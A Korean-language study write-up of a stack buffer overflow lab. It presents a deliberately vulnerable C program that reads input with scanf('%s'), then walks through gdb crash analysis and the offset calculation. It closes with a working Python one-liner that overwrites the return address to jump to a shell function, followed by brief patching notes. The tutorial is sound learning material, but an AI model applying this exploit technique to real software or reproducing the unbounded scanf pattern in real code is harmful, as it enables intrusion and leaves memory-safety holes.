[Stack Buffer Overflow] Return Address Overwrite

분석

📌 실습 코드

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}​

(1) 취약점 분석

▶ 프로그램의 취약점은 scanf("%s", buf)에 존재

• scanf 함수의 포맷 스트링 중 하나인 %s는 문자열을 입력받을 때 사용하는 것
• 입력의 길이를 제한하지 않으며, 공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다는 특징

 

>> 이런 특징으로 인해, 실수로 또는 악의적으로 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다. 따라서 scanf에 %s 포맷 스트링은 절대로 사용하지 말아야 하며, 정확히 n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 한다.

 

본 예제에서는 크기가 0x28인 버퍼에 scanf(“%s”, buf)로 입력을 받으므로, 입력을 길게 준다면 버퍼 오버플로우를 발생시켜서 main함수의 반환 주소를 덮을 수 있을 것으로 보인다.

 

💡 C/C++의 문자열 종결자(Terminator)와 표준 문자열 함수들의 취약성
문자열 함수는 널바이트를 찾을 때까지 배열을 참조하므로, 코드를 작성할 때 정의한 배열의 크기를 넘어서도 계속해서 인덱스를 증가시킨다. 이런 동작으로 인해 참조하려는 인덱스 값이 배열의 크기보다 커지는 현상을 Index Out-Of-Bound라고 부르며, 줄여서 OOB라고도 한다. 그리고 해당 버그를 발생시키는 취약점을 Out-Of-Bound(OOB)취약점이라고 부른다.

OOB는 심각한 보안 취약점 중 하나로, 이를 이용하여 해커는 프로그래머가 의도하지 않은 주소의 데이터를 읽거나, 조작할 수 있고, 몇몇 조건이 만족되면 소프트웨어에 심각한 오동작을 일으킬 수도 있다. 이를 방지하기 위해 개발자는 입력의 길이를 제한하는 문자열 함수를 사용해야 하며, 문자열을 사용할 때는 반드시 해당 문자열이 널바이트로 종결되는지 확인해야 한다.

 

 

(2) 트리거

이런 행위의 취약점을 발현시킨다는 의미에서 트리거라고 표현할 수 있다.

 

rao.c 코드를 작성하고 바이너리를 실행해보면 입력을 받는 메시지가 출력되는 것을 확인할 수 있다. 여기에 A를 5개 입력했을 때는 프로그램이 정상적으로 종료되었으나. 64개를 입력한 경우 Segmentation fault 에러가 출력되며 프로그램이 비정상적으로 종료된다.

위 실습이 올바르게 진행되었다면 코어 파일이 생성되어야 하지만 별다른 오류가 발생하지 않았음에도 코어 파일이 생성되지 않아 우선 해당 실습을 가능한 부분에 한해 부분적으로 진행하였다.

 

 

(3) 코어 파일 분석

gdb rao -c core.1828876 명령어로 코어 파일을 열면, 프로그램 종류 원인과 함께 어떤 주소의 명령어를 실행하다가 발생한 문제인지를 함께 표시해줌으로써 알 수 있다.

$ gdb rao -c core.1828876
...
Could not check ASLR: Couldn't get personality
Core was generated by `./rao'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000000000400729 in main ()
...
pwndbg>

 

 

컨텍스트에서 디스어셈블된 코드와 스택을 관찰하면, 프로그램이 main 함수에서 반환하려고 하는데, 스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141('AAAAAAAA') 라는 것을 확인할 수 있다. 

이는 실행가능한 메모리의 주소가 아니므로 세그먼테이션 폴트가 발생한 것이다. 이 값이 원하는 코드 주소가 되도록 적절한 입력을 주면, main 함수에서 반환될 때, 원하는 코드가 실행되도록 조작할 수 있을 것이다.

──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
 ► 0x400729 <main+65>    ret    <0x4141414141414141>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffc86322f8 ◂— 'AAAAAAAA'
01:0008│     0x7fffc8632300 ◂— 0x0
02:0010│     0x7fffc8632308 —▸ 0x4006e8 (main) ◂— push rbp
03:0018│     0x7fffc8632310 ◂— 0x100000000
04:0020│     0x7fffc8632318 —▸ 0x7fffc8632408 —▸ 0x7fffc86326f0 ◂— 0x434c006f61722f2e /* './rao' */
05:0028│     0x7fffc8632320 ◂— 0x0
06:0030│     0x7fffc8632328 ◂— 0x14b87e10e2771087
07:0038│     0x7fffc8632330 —▸ 0x7fffc8632408 —▸ 0x7fffc86326f0 ◂— 0x434c006f61722f2e /* './rao' */

 

 

익스플로잇

(1) 스택 프레임 구조 파악

스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사해야 한다. 이를 위해 main 의 어셈블리 코드 중 scanf 에 인자를 전달하는 부분을 살펴보자.

 

해당 부분을 의사 코드로 표현하면 다음과 같이 사용할 수 있다.

 

 

즉, 오버플로우를 발생시킬 버퍼는 rbp-0x30 에 위치한다. 스택 프레임의 구조를 떠올려 보면, rbp 에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8 에는 반환 주소가 저장된다. 이를 바탕으로 스택 프레임을 그려보면 다음 그림와 같다.

 

▶ 입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있으므로, 그만큼을 쓰레기 값(dummy data)으로 채우고, 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있을 것이다.

 

 

(2) get_shell() 주소 파악

본 예제에서는 셸을 실행해주는 get_shell() 함수가 있으므로, 이 함수의 주소로 main 함수의 반환 주소를 덮어서 셸을 획득할 수 있다. 또한 get_shell()의 주소를 찾고자 gdb를 활용하여 잔행할 수 있었다. 따라서, 주소가 0x4006aa임을 확인하였다.

 

 

(3) 페이로드 구성

▶ 시스템해킹에서 페이로드는 공격을 위해 프로그램에 전달하는 데이터를 의미한다.

 

앞서, 확인한 정보들을 바탕으로 아래와 같은 페이로드를 구성할 수 있다.

 

 

(4) 엔디언 적용

구성한 페이로드는 적절한 엔디언을 적용해서 프로그램에 전달해야 한다.

▶ 엔디언 : 메모리에서 데이터가 정렬되는 방식으로 주로 리틀 엔디언, 빅 엔디언이 사용됨

 

아래 코드와 함께 0x406aa 메모리에 어떻게 저장되는지 확인해볼 수 있다.

 

 

(5) 익스플로잇

엔디언을 적용하여 페이로드를 작성하고, 아래 명령어를 rao에 전달하면 셸을 획득할 수 있다. 커맨드가 다소 복잡해 보이지만, 파이썬으로 출력한 페이로드를 rao의 입력으로 전달한다.

📌 익스플로잇 코드

$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)​

 

 

취약점 패치

▶ rao

- 위험한 문자열 입력함수를 사용하여 취약점이 발생
- 해당 취약점을 패치하기위해 C언어에서 자주 사용되는 문자열 입력 함수와 패턴들을 살펴보고, 각각의 특징을 알아보자